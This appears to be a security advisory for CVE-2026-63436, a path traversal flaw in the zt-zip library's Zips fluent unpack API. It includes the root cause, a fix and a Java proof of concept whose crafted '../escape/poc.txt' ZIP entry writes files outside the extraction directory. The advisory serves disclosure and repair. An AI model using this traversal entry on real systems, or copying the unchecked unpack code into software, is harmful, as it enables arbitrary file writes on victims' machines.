zeroturnaround/zt-zip · Security

zt-zip: Path traversal in fluent API unpack

GHSA ID
GHSA-52c6-99qm-3hqr
CVE ID
CVE-2026-63436
Severity
high
Published
Updated
CVSS
8.2 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
CVSS v3
8.2 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

Description

Summary

ZipUtil.unpack(...) rejects ZIP entries that escape the target output directory, but the Zips fluent API appears to use a separate unpack implementation that does not apply the same destination-boundary check.

A ZIP entry such as:

../escape/poc.txt

is written outside the configured destination directory when processed with:

Zips.get(zip).unpack().destination(outputDir).process();

The transformer branch is affected as well.

Tested Version

commit: 067935dca375500d3ff025aafcdf0e4283931b1a

Root Cause

In src/main/java/org/zeroturnaround/zip/Zips.java, Zips.UnpackingCallback.process(...) builds the output file directly from the ZIP entry name:

String entryName = zipEntry.getName();
File file = new File(destination, entryName);

The method then creates directories/files and copies content to that path:

FileUtils.forceMkdir(file.getParentFile());
file.createNewFile();
FileUtils.copy(in, file);

When a transformer is configured, the same file is passed to transformIntoFile(...).

There does not appear to be a canonical path check before these filesystem writes, so ../ entries can resolve outside destination.

Minimal Reproduction

import java.io.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.zip.*;

import org.zeroturnaround.zip.ZipUtil;
import org.zeroturnaround.zip.Zips;
import org.zeroturnaround.zip.transform.ZipEntryTransformer;

public class ZipsTraversalPoc {
  public static void main(String[] args) throws Exception {
    Path work = Files.createTempDirectory("ztzip-zips-poc");
    Path zip = work.resolve("poc.zip");
    Path escaped = work.resolve("escape").resolve("poc.txt");
    String entryName = "../escape/poc.txt";

    Files.createDirectories(escaped.getParent());

    try (ZipOutputStream zos = new ZipOutputStream(Files.newOutputStream(zip))) {
      zos.putNextEntry(new ZipEntry(entryName));
      zos.write("plain branch\n".getBytes(StandardCharsets.UTF_8));
      zos.closeEntry();
    }

    Path zipUtilOut = work.resolve("ziputil-out");
    Files.createDirectories(zipUtilOut);
    try {
      ZipUtil.unpack(zip.toFile(), zipUtilOut.toFile());
      System.out.println("ZIPUTIL_REJECTED=false");
    }
    catch (Throwable t) {
      System.out.println("ZIPUTIL_REJECTED=" + t.getClass().getName());
    }
    System.out.println("ZIPUTIL_ESCAPED_EXISTS=" + Files.exists(escaped));

    Files.deleteIfExists(escaped);

    Path zipsOut = work.resolve("zips-out");
    Files.createDirectories(zipsOut);
    Zips.get(zip.toFile()).unpack().destination(zipsOut.toFile()).process();
    System.out.println("ZIPS_PLAIN_ESCAPED_EXISTS=" + Files.exists(escaped));
    System.out.println("ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsOut.normalize()));

    Files.deleteIfExists(escaped);

    Path zipsTransformOut = work.resolve("zips-transform-out");
    Files.createDirectories(zipsTransformOut);
    Zips.get(zip.toFile())
        .unpack()
        .destination(zipsTransformOut.toFile())
        .addTransformer(entryName, new ZipEntryTransformer() {
          public void transform(InputStream in, ZipEntry entry, ZipOutputStream out) throws IOException {
            out.putNextEntry(new ZipEntry(entry.getName()));
            out.write("transform branch\n".getBytes(StandardCharsets.UTF_8));
            out.closeEntry();
          }
        })
        .process();
    System.out.println("ZIPS_TRANSFORM_ESCAPED_EXISTS=" + Files.exists(escaped));
    System.out.println("ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsTransformOut.normalize()));
  }
}

Observed output:

ZIPUTIL_REJECTED=org.zeroturnaround.zip.MaliciousZipException
ZIPUTIL_ESCAPED_EXISTS=false
ZIPS_PLAIN_ESCAPED_EXISTS=true
ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=true
ZIPS_TRANSFORM_ESCAPED_EXISTS=true
ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=true

Expected Behavior

Zips.get(zip).unpack().destination(outputDir).process() should reject traversal entries or otherwise ensure that the resolved output path remains inside outputDir.

Impact

Applications that unpack attacker-controlled ZIP files through the Zips fluent API may allow arbitrary file writes outside the intended extraction directory, depending on filesystem permissions and application layout.

Suggested Fix

Apply the same destination-boundary validation used by ZipUtil.unpack(...) before any filesystem write in Zips.UnpackingCallback.process(...).

For example, compare canonical Path values before creating directories or files:

file.getCanonicalFile().toPath()
    .startsWith(destination.getCanonicalFile().toPath())

Regression tests should cover both:

Zips.get(zip).unpack().destination(out).process();
Zips.get(zip).unpack().destination(out).addTransformer(...).process();

CWEs

References